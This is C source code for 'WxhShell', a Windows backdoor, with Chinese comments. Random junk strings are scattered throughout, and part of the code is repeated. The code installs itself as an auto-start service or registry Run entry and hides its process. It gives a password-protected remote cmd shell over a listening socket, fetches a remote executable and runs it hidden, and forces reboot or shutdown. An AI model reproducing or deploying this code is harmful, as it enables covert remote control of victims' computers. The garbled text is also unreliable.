(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7 }sj& NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6KI< J*Wz` )hai?v~g if (!NtQueryInformationProcess) return 0; S=~8nr/V %;9+`U hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r#[YBaCZJ if(!hProcess) return 0; OHha5n 0,`$ KbV\ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7oI^sh k OT5'c l CloseHandle(hProcess); BV
HO_ 2nPU $\du hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h/%Hk;|9 if(hProcess==NULL) return 0; \4`2k $R<eXDW6: HMODULE hMod; !Rw\k'<GKX char procName[255]; (&u)FB* unsigned long cbNeeded; m=<;) XL7jUi_4:L if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "i_}\p.,X 8h2! 8' CloseHandle(hProcess); I:aG(8Bi)H 9jwo f}OU if(strstr(procName,"services")) return 1; // 以服务启动 H;n(qBSB S[ ,r.+ return 0; // 注册表启动 BO p&s>hI } LvNk:99:< VgNt // 主模块 [2,u:0 " int StartWxhshell(LPSTR lpCmdLine) jP";ll|c { XDJQO /qN SOCKET wsl; 2O5yS BOOL val=TRUE; Aq{m42EAj int port=0; P!";$]+ struct sockaddr_in door; _9Ig`?<>I f(E 'i> if(wscfg.ws_autoins) Install(); rXz,<^Hmj Ucnit^, port=atoi(lpCmdLine); !Jj=H()} YtrMJ" if(port<=0) port=wscfg.ws_port;
oB$D& rkl/5z?? WSADATA data; |7I.DBjR; if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Bv |Z)G%RR | JL47FR if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ]eq3cwR[| setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \0pJ+@\T9 door.sin_family = AF_INET; UmU=3et<Wj door.sin_addr.s_addr = inet_addr("127.0.0.1"); O ,[aL;v door.sin_port = htons(port); )N2yhdcqI .n`MPx' if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k>Qr14F closesocket(wsl); pDlh^?cux return 1; V@K}'f~ } <_H0Q_/( b`K~l'8 if(listen(wsl,2) == INVALID_SOCKET) { T+2I:W% closesocket(wsl); ~4*9w3t
return 1; [M2,bc8SJV } p$@=N6)I.k Wxhshell(wsl); GKPqBi[rO WSACleanup(); /kVy#sT| ?lU]J] return 0; }~-)31e'` \'"q6y } -zz9k=q h3xX26l // 以NT服务方式启动 4#=!VK8ZH VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Xb3vvHdI { eeb8v:4 DWORD status = 0; ~eL7=G@{ DWORD specificError = 0xfffffff; |_~BV&g,N $zz=>BOk serviceStatus.dwServiceType = SERVICE_WIN32; .?S#DS ) serviceStatus.dwCurrentState = SERVICE_START_PENDING; W9V%Xc`LQ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AJ:@c7:eS serviceStatus.dwWin32ExitCode = 0; $b$r,mc serviceStatus.dwServiceSpecificExitCode = 0; yZFvpw|g serviceStatus.dwCheckPoint = 0; tQJ@//C\z serviceStatus.dwWaitHint = 0; +.\JYH=yEr '7'cKp hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); OG 5n9sx if (hServiceStatusHandle==0) return; rf1nC$Sop ;Xgy2'3 status = GetLastError(); QbqLj>-AJ if (status!=NO_ERROR) :N)7SYQT { INzQ0z-z serviceStatus.dwCurrentState = SERVICE_STOPPED; Ed*`d> serviceStatus.dwCheckPoint = 0; [dU/;Sk5 serviceStatus.dwWaitHint = 0;
~5}b$qL#` serviceStatus.dwWin32ExitCode = status; =4 JVUu~Z serviceStatus.dwServiceSpecificExitCode = specificError; +Mm0bqNN SetServiceStatus(hServiceStatusHandle, &serviceStatus); n3b@6V1_ return; cX.v^9kuX } a/^YgrC\T Punbw\9!d, serviceStatus.dwCurrentState = SERVICE_RUNNING; PD/JXExK serviceStatus.dwCheckPoint = 0; fBd +gT\S serviceStatus.dwWaitHint = 0; Gh|1%g"gm if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +S%@/q } <)n
#^#)OQq] // 处理NT服务事件,比如:启动、停止 Z@C
D1+ G VOID WINAPI NTServiceHandler(DWORD fdwControl) s9`T% pg { NK#Dq&W+& switch(fdwControl) `(B1 "qRi { a/)TJv case SERVICE_CONTROL_STOP: u{p\8v%7 serviceStatus.dwWin32ExitCode = 0; Bdbw!zRR$ serviceStatus.dwCurrentState = SERVICE_STOPPED; {/0,lic serviceStatus.dwCheckPoint = 0; vW)GUAF[ serviceStatus.dwWaitHint = 0; p6}jCGJ { *%)L?* SetServiceStatus(hServiceStatusHandle, &serviceStatus); vlj|[joXw } ha8do^x return; -U/&3 case SERVICE_CONTROL_PAUSE: J;T_9 serviceStatus.dwCurrentState = SERVICE_PAUSED; 6lWO8j^BN break; i,yK&*>JJ case SERVICE_CONTROL_CONTINUE: $V~%$ serviceStatus.dwCurrentState = SERVICE_RUNNING; Fx3VQ'%J break; s.GhquFCrU case SERVICE_CONTROL_INTERROGATE: '{oe}]., break; Gh{k ~/B }; ki+9Ln; SetServiceStatus(hServiceStatusHandle, &serviceStatus); /CA)R26G } v@t*iDa?7 3UN Jj&-` // 标准应用程序主函数 !&'xkw ` int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &aF_y_f\ { ]&G5/]f <
m9O0 // 获取操作系统版本 BxZop.zwE( OsIsNt=GetOsVer(); vCpi|a_eCu GetModuleFileName(NULL,ExeFile,MAX_PATH); am"/Anml| .PAkW2\# // 从命令行安装 uqO51V~ if(strpbrk(lpCmdLine,"iI")) Install(); e&0B4wVAQ zw5~|< // 下载执行文件 Le3S;SY& if(wscfg.ws_downexe) { Aoo'i if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WX\%FJ WinExec(wscfg.ws_filenam,SW_HIDE); )Y
*?VqZn } *V"cu s~]nsqLt9p if(!OsIsNt) { '}rDmt~ // 如果时win9x,隐藏进程并且设置为注册表启动
40c#zCE HideProc(); xd .I5 StartWxhshell(lpCmdLine); O5=ggG
} Y\%}VD2k else k Lv_P[I if(StartFromService()) |t]9RC.;7 // 以服务方式启动 ToMX7xz6 StartServiceCtrlDispatcher(DispatchTable); .i=%gg else D{l.WlA. // 普通方式启动 h
|lQTT StartWxhshell(lpCmdLine); &^uzg&,; U/iAP W4U return 0; 6=@n
b3D% } Uv+pdRXn %#]T.g
?D\%ZXo _$bx4a =========================================== Z?X$8o^Z )>Lsj1qk {!/y@/NK2 D1j7iv !}3`Pl.(r pJv? " C`jP8"- <HzAh<_@F #include <stdio.h> \YKh'|04 #include <string.h> PCLSY8N #include <windows.h> 9e1 6 g #include <winsock2.h> AngECkF- #include <winsvc.h> -pD&@Wlwak #include <urlmon.h> `?D_=Gw V!opnLatYS #pragma comment (lib, "Ws2_32.lib") -DuiK:mp #pragma comment (lib, "urlmon.lib") *g,?13Q_ ZK
?x_`w #define MAX_USER 100 // 最大客户端连接数 R_N<j #define BUF_SOCK 200 // sock buffer ?}]kIK}MC #define KEY_BUFF 255 // 输入 buffer 7O9s5 f C^l9CRY #define REBOOT 0 // 重启 pS<b|wu?f #define SHUTDOWN 1 // 关机 sTA/2d =3zn
Ta } #define DEF_PORT 5000 // 监听端口 @NHRuk+ &=?`;K #define REG_LEN 16 // 注册表键长度 m+m6"yE#_ #define SVC_LEN 80 // NT服务名长度 \Zh)oUHd __V]HcP; // 从dll定义API ^2AF:(E typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D}061~zb$ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); eFnsf}(Iy typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n% `r typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (O-)uC ~c="<xBE // wxhshell配置信息 H4m6H)KOG struct WSCFG { 23f[i<4e int ws_port; // 监听端口 PPqTmx5S char ws_passstr[REG_LEN]; // 口令 j^ _I{ int ws_autoins; // 安装标记, 1=yes 0=no 3N
bn|_`( char ws_regname[REG_LEN]; // 注册表键名 4y1>!~f char ws_svcname[REG_LEN]; // 服务名 7>zKW? char ws_svcdisp[SVC_LEN]; // 服务显示名 ?V{k\1A char ws_svcdesc[SVC_LEN]; // 服务描述信息 kdUGmR0d char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qbEj\
b[ int ws_downexe; // 下载执行标记, 1=yes 0=no 9V66~Bf5 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hY1|qp char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AslH
V@K L@z !,r, }; r;XQ i NI1HUUZz // default Wxhshell configuration &V?q d{39 struct WSCFG wscfg={DEF_PORT, Ij#a "xuhuanlingzhe", 1 :Yt2] 1, !1RV[b.8 "Wxhshell", p\{+l;` "Wxhshell", X]yERaJ,i "WxhShell Service", 87K)qsv8 "Wrsky Windows CmdShell Service", ]v{fFmL "Please Input Your Password: ", NVjJ/ 1, }m9LyT=~$ "http://www.wrsky.com/wxhshell.exe", +r0eTP=zf "Wxhshell.exe" 4{DeF@@ }; F3Y>hs):7 &
.?HuK // 消息定义模块 ]hj1.V+ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @:7gHRJ! char *msg_ws_prompt="\n\r? for help\n\r#>"; HLe^| char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $CmX
&%L= char *msg_ws_ext="\n\rExit."; vaj66nV char *msg_ws_end="\n\rQuit."; IPO[J^#Me char *msg_ws_boot="\n\rReboot..."; O8r"M8 char *msg_ws_poff="\n\rShutdown..."; ^)q2\YE; char *msg_ws_down="\n\rSave to "; (J*w./ )zXyV]xe char *msg_ws_err="\n\rErr!"; Y(y9l{' char *msg_ws_ok="\n\rOK!"; W"kw>JEt VM]IL%AN char ExeFile[MAX_PATH]; vs1Sh?O int nUser = 0; s3-ktZ@ HANDLE handles[MAX_USER]; >fye^Tx int OsIsNt; l;BX\S Nr"N\yOA/ SERVICE_STATUS serviceStatus; -m160k3 SERVICE_STATUS_HANDLE hServiceStatusHandle; aE BP9RX}z eh(Q^E;* // 函数声明 ,0Zn hS)kq int Install(void); %EGr0R( int Uninstall(void); ^V}R(gDu}s int DownloadFile(char *sURL, SOCKET wsh); B/=q_.1F> int Boot(int flag); x~;EH6$5'/ void HideProc(void); tHtV[We.: int GetOsVer(void); /Tj"Fl\h int Wxhshell(SOCKET wsl); <M,H9^l3 void TalkWithClient(void *cs); r.W,-%=bL int CmdShell(SOCKET sock); rh`.$/^ int StartFromService(void); Yg)V*%0n int StartWxhshell(LPSTR lpCmdLine); M%{?\)s g`OOVaB VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R*@[Pg* VOID WINAPI NTServiceHandler( DWORD fdwControl ); jBv$^L 2 1~7{# // 数据结构和表定义 b%;59^4AjD SERVICE_TABLE_ENTRY DispatchTable[] = JYd7@Msfc { b;L>%; {wscfg.ws_svcname, NTServiceMain}, }E5#X R {NULL, NULL} ay(!H~q_U }; )E:,V~< 8 Iz)hz9k // 自我安装 P/pjy int Install(void) y5/6nvH_6 { qijcS2E6S char svExeFile[MAX_PATH]; bW9"0=j[{ HKEY key; lB!vF ~A& strcpy(svExeFile,ExeFile); 6B''9V:s PDIclIMS'F // 如果是win9x系统,修改注册表设为自启动 5ttMua <G? if(!OsIsNt) { KO|pJ3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "W@XP+POAY RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0i\',h}9 RegCloseKey(key); 8*yo7q& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WE[m@K[CR RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UQ3@@:L_ RegCloseKey(key); kwHqvO!G return 0; VkpHzr[k } b(RBG } 0[lsoYUq }
gt_XAH else { A)zPaXZ ADGnBYE // 如果是NT以上系统,安装为系统服务 &|N%#pYS SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vWl[l
-E if (schSCManager!=0) 0zbLc% { A=%k/ SC_HANDLE schService = CreateService x pTDYF ( 6z3T?`}Y schSCManager, Ka]@[R6e wscfg.ws_svcname, (a
`FS,M wscfg.ws_svcdisp, x=5P+_ SERVICE_ALL_ACCESS, e8WEz
4r_ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kT^*>=1 SERVICE_AUTO_START, )4ilCS& SERVICE_ERROR_NORMAL, S= -M3fP~ svExeFile, V5a?=vK9 NULL, 2vc\= NULL, vUYJf99B NULL, 1OJ*wI* NULL, |mxNUo- NULL S<nP80C ); :p<kQ4
if (schService!=0) X0WNpt&h { 2QGMe} CloseServiceHandle(schService); *KK[(o}^J- CloseServiceHandle(schSCManager); 7]|zkjgI strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d(fPECv( strcat(svExeFile,wscfg.ws_svcname); gF[6c`-s if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M!gBmQZ1 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?j/kOD0 RegCloseKey(key); u 1ZJHry return 0; QqtC`H\ } Hz?!BV0 } >z=Ou<, CloseServiceHandle(schSCManager); Zx+cvQ } |3{+6cg } f.oP {l2N& return 1; f=ac I|w } TMJ9~"IO o]Wz6L // 自我卸载 (kIz int Uninstall(void) pI7Ssvi^ { X9fNGM1 HKEY key; Di*]ab |gnAqkW0 if(!OsIsNt) { u#`+[AC` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ljPq2v ] RegDeleteValue(key,wscfg.ws_regname); 1^C|k(t RegCloseKey(key); _>Pk8~m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iJdP>x RegDeleteValue(key,wscfg.ws_regname); H9RGU~q4s[ RegCloseKey(key); .^i<xY return 0; :l+_ja&o } z% V* K } DVI7]+=nV } ITyzs4"VV else { sVu k .H8mRvd? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %}C9 if (schSCManager!=0) &1wpGJqm { qZaO&"q SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); mD7}t if (schService!=0) *z0K%@M { D(Qa>B"1 if(DeleteService(schService)!=0) { W57&\PXYn CloseServiceHandle(schService); kMy<G8 s CloseServiceHandle(schSCManager); nv"G;W return 0; p8=|5. } Qyz>ZPu}sz CloseServiceHandle(schService); u4YM^* S. } &Yp+k}XU CloseServiceHandle(schSCManager); Xo Y7/&& } @,k7xm$u } nfX12y_SXL 2"@Ft()] return 1; K;x~&G0= } cw;co@!$ GR%{T'ZD` // 从指定url下载文件 b,dr+RB int DownloadFile(char *sURL, SOCKET wsh) ~%s}S { QY@u}&m%o HRESULT hr; LM:)j:gS6 char seps[]= "/"; +Hj/0pp char *token; jYWw.g< char *file; xO7Yt
l char myURL[MAX_PATH]; iK!dr1:wSw char myFILE[MAX_PATH]; KmQ^?Ad-C LeSHRoD strcpy(myURL,sURL); 1Bg_FPu token=strtok(myURL,seps); y"vX~LR while(token!=NULL) asr=m{C" { @`w n<%o$ file=token; |5,<jyp token=strtok(NULL,seps); tMFsA`ng } h4(JUio *69c-`o GetCurrentDirectory(MAX_PATH,myFILE); R)+t]} strcat(myFILE, "\\"); R&#tSL strcat(myFILE, file); 7^MX l send(wsh,myFILE,strlen(myFILE),0); d+6]u_J send(wsh,"...",3,0); ;i\C]* hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F$Q04Qw if(hr==S_OK) 3OP.12^ return 0; p0M=t- else o.Oq__ >$H return 1; Nb;H`<JP 3]/.\(2 } +TN^NE ~c*
UAowS // 系统电源模块 T%(C-Quh int Boot(int flag) \"x>JW4w { :)IV!_>'d HANDLE hToken; (a.1M8v+Sg TOKEN_PRIVILEGES tkp; 7Fz
xe$A }>}1oUCi if(OsIsNt) { CISO<z0 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r`6:Q&& LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5&!'^! tkp.PrivilegeCount = 1; 8o|P&q(v* tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,Ff n)+ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gn ?YF` if(flag==REBOOT) { ~Ky4+\6o> if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !][F return 0; )(m0cP{7 } 5mgHlsDzu else { ?NG=8.p if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +=eR%|!@ return 0; |QMA@Mx } +Ok%e.\ZM } 6|!NLwa else { 3c #s|qW if(flag==REBOOT) { XE rUS80 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |g-b8+.=] return 0; e1/sqXWo } n ~,tQV else { +E5=$` if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h*w6/ZL1 return 0; ? \m3~6y } zO~9zlik } >7b)y por/^=e{Y return 1; qX#MV>1 } 9+qOP>m dqc1q:k?$ // win9x进程隐藏模块 gR Nv-^ void HideProc(void) *:hyY!x { mfom=-q3k Dl C@fZD HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z4hLdHo_ if ( hKernel != NULL ) B4g8
~f { Br5o7(AE pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,^$|R32 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (\,BxvhG= FreeLibrary(hKernel); osHCg } }Hcx=}j ^6;V}2>v} return; 3l4NC03I& } @T:faJ5\' B_^]C9C| // 获取操作系统版本 bw4oLu? int GetOsVer(void) UiQEJXwnz { SO{p ;g OSVERSIONINFO winfo; nFM@@oA winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
2oVV'9;B GetVersionEx(&winfo); DN8}glVxV if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~i0R^qfr return 1; / T
c= else #VGjCEeU return 0; b]Z@^<_E } ^3]UZ@ @;Opx." // 客户端句柄模块 ?jO 5 9n int Wxhshell(SOCKET wsl) e8P-k3a"5: { .Zmp , SOCKET wsh; w?y6nTg< struct sockaddr_in client; xJwG=$o DWORD myID; K'5'}Lb5k },@^0UH4c while(nUser<MAX_USER) Ykqyk')wm { 7 sFz?`- int nSize=sizeof(client); y$W|~ H wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
V@vU" if(wsh==INVALID_SOCKET) return 1; J
CGC Y&.UIosWb handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {b)~V3rsY if(handles[nUser]==0) ZcE_f>KV closesocket(wsh); Vb|#MNf) else ZC0-wr\ nUser++; :aAEJ } `#mK*Buem} WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oG oK, Shr,#wwM`B return 0; FnFb[I@eu } G"SBYU {zLhiUH
a0 // 关闭 socket 3ec`Wa
void CloseIt(SOCKET wsh) R^#@lI~ { OE`X<h4r closesocket(wsh); =aG xg57 nUser--; <|B1wa:| ExitThread(0); Q \hY7Xq' } s)J(/ RFaSwf,5n // 客户端请求句柄 ]0V}D,V($ void TalkWithClient(void *cs) $md%xmQ[ { c=O,;lWFqm L1{GL #qV SOCKET wsh=(SOCKET)cs; 5z}w}zdg char pwd[SVC_LEN]; 23F/\2MSG char cmd[KEY_BUFF]; u.XQ& char chr[1]; p=Q0!!_r int i,j; TUK"nKSZ`. ,:2'YB while (nUser < MAX_USER) { Z8O n%Mx{" c}Z6V1]QP if(wscfg.ws_passstr) { r,1e 'd: if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }T2xXbU //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D;}xr_ //ZeroMemory(pwd,KEY_BUFF); pKUP2m`MW i=0; |SZo'
6 while(i<SVC_LEN) { tRb]7 z 1{x.xi"A/ // 设置超时 Dim>
7Wbh fd_set FdRead; 4BL;FO struct timeval TimeOut; N2r/ho}8 FD_ZERO(&FdRead); uN*KHE+h FD_SET(wsh,&FdRead); op2Of<{h TimeOut.tv_sec=8; F9"w6;hh TimeOut.tv_usec=0; Ex amD">T int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Uu
s. if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;*TIM%6# S[3iA~)Z- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {$D,?V@%_ pwd=chr[0]; >et-{(G if(chr[0]==0xd || chr[0]==0xa) { *iO u' pwd=0; en S}A*Io break; n:
ui } N?Q+> i++; MM_k
]-7 } #p(h]T32 Fxs;Fp // 如果是非法用户,关闭 socket r|Z3$J{^" if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `:8J46or } pIV-kI:w Dr&('RZ4 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1@48BN8cm' send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \*hrW( d_UN0YT< while(1) { B(a-k? v4,h&JLt ZeroMemory(cmd,KEY_BUFF); (_kp{0r# g,tjm( // 自动支持客户端 telnet标准 b
\KL;H/ j=0; M-L2w" while(j<KEY_BUFF) { LsEXM- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H={DB cmd[j]=chr[0]; <#=N
m0S$ if(chr[0]==0xa || chr[0]==0xd) { /@ !CKh` cmd[j]=0; :o-,SrORM break; Ei}/iBG@ } :K`ESq!8u j++; +CH},@j } K;?,FlH <~ad:[ // 下载文件 ,u }XWV if(strstr(cmd,"http://")) { ^H{R+} send(wsh,msg_ws_down,strlen(msg_ws_down),0); (/!r(#K0,' if(DownloadFile(cmd,wsh)) ,[S+T.Cu send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~LJY6A@y else :P,sxDlG) send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oF9
-& } F^"_TV0va else { WG*t::NN Q?ahr~qo switch(cmd[0]) { B[=(#W geQ{EwO8n // 帮助 [${
QzO case '?': { 'j^xbikr send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]V %.I_ break; D0k
8^ } e0@6Pd // 安装 n55Pv3}C case 'i': { v(*C%.M) if(Install()) 9CA^B2u send(wsh,msg_ws_err,strlen(msg_ws_err),0); f.aSKQD else q{s(.Uq$& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0q>P~]Ow break; D']ZlB'K } bwVPtu` // 卸载 yKYUsp case 'r': { Qy<[7 if(Uninstall()) gmIqT
f send(wsh,msg_ws_err,strlen(msg_ws_err),0); /27JevE else .)}@J5P) send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lzw3= H break; WLF0US' } 8^Hn"v // 显示 wxhshell 所在路径 Vfv@7@q case 'p': { 56^+;^f^` char svExeFile[MAX_PATH]; JdIlWJY strcpy(svExeFile,"\n\r"); 4S~o-`&W strcat(svExeFile,ExeFile); h\plQ[T send(wsh,svExeFile,strlen(svExeFile),0); 8N:owK break; &_JD)mM5 } CkJCi // 重启 Gl1jxxd case 'b': { ,Jc m+Wb send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^w ] / if(Boot(REBOOT)) REZJ}%}/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); S3L~~X/= else { obdFS,JxxG closesocket(wsh); fLV"T_rk ExitThread(0); %6AW7q
t } KD/V aN break; R[49(>7H4 } d,8mY/S>w // 关机 e[sK@jX6 case 'd': { |F9z,cc" send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'V8N if(Boot(SHUTDOWN)) +?p.?I send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4w#``UY)' else { Yvn\xph3
closesocket(wsh); +C1QY'>I ExitThread(0); {]"]uT# } {Fzs@,|W. break; f;}EhG' } !"e5~7 // 获取shell }g$(+1g case 's': { G^q3Z#P CmdShell(wsh); gM [w1^lj closesocket(wsh); m*$|GW9 ExitThread(0); 5{n*"88 break; 5K|"\ } Ed9Z9 // 退出 }I@L}f5N case 'x': { Ou{v/'9z, send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ##Z_QB(; CloseIt(wsh); b;)~wU= break; odg<q$34 } ,39aF*r1Q // 离开 oI^4pwn h case 'q': { VCtH%v#S;. send(wsh,msg_ws_end,strlen(msg_ws_end),0); PjN =k; closesocket(wsh); +7t6k7]c WSACleanup(); "5eNLqt^q exit(1); Q}S_%I}u: break; }(egMx;"3J } {O|'U' }
{EdH$l>94 } $T :un.TM g;ZxvR)ZJk // 提示信息 ICAH G7 , if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Me6+~"am/ } lN9=TxH1(; } c)@>zto# c5|:,wkx return; 0\2\*I}? } K\vSB~{[ ['%69dPh // shell模块句柄 xoOJauSX1 int CmdShell(SOCKET sock)
-Ij& { rHP%0f9: STARTUPINFO si; &-5_f*{ ZeroMemory(&si,sizeof(si)); _-5,zPR si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rp5(pV7* si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;
BUwONF PROCESS_INFORMATION ProcessInfo; RxMH!^ char cmdline[]="cmd"; ORu2V#Z[ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [o*7FEM|< return 0; L28*1]\Jh } ;Jd3u
- 6\61~u ~ // 自身启动模式 I|# 5NE6 int StartFromService(void) W+*5"h { *m2=/Sh typedef struct *Z_C4Tj { iMfngIs | DWORD ExitStatus; XJ2^MF2BU DWORD PebBaseAddress; kh%{C]".1 DWORD AffinityMask; jYiv'6z DWORD BasePriority; >J u]2++lx ULONG UniqueProcessId; Cuc$3l(% ULONG InheritedFromUniqueProcessId; CR2_;x:0 } PROCESS_BASIC_INFORMATION; g@\fZTO
^xPmlS;X PROCNTQSIP NtQueryInformationProcess; @-OnHE KRjV}\} static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4e;QiTj static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J<Pw+6B~ QM?#{%31 HANDLE hProcess; XT;u<aJs PROCESS_BASIC_INFORMATION pbi; o!Rd ^ 'Wa,OFd\8 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); si4don if(NULL == hInst ) return 0; 1".v6caW jq08= g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mqq;H} g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Qv-@Zt!8 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 97)/"i e m[k_>e\u if (!NtQueryInformationProcess) return 0; 85;b9k&\M GJqE!I,. hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *6(kbe s if(!hProcess) return 0; `gKf#f .k[o$z\EkF if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x1 1U@jd+1 )*c>|7G CloseHandle(hProcess); :a:l
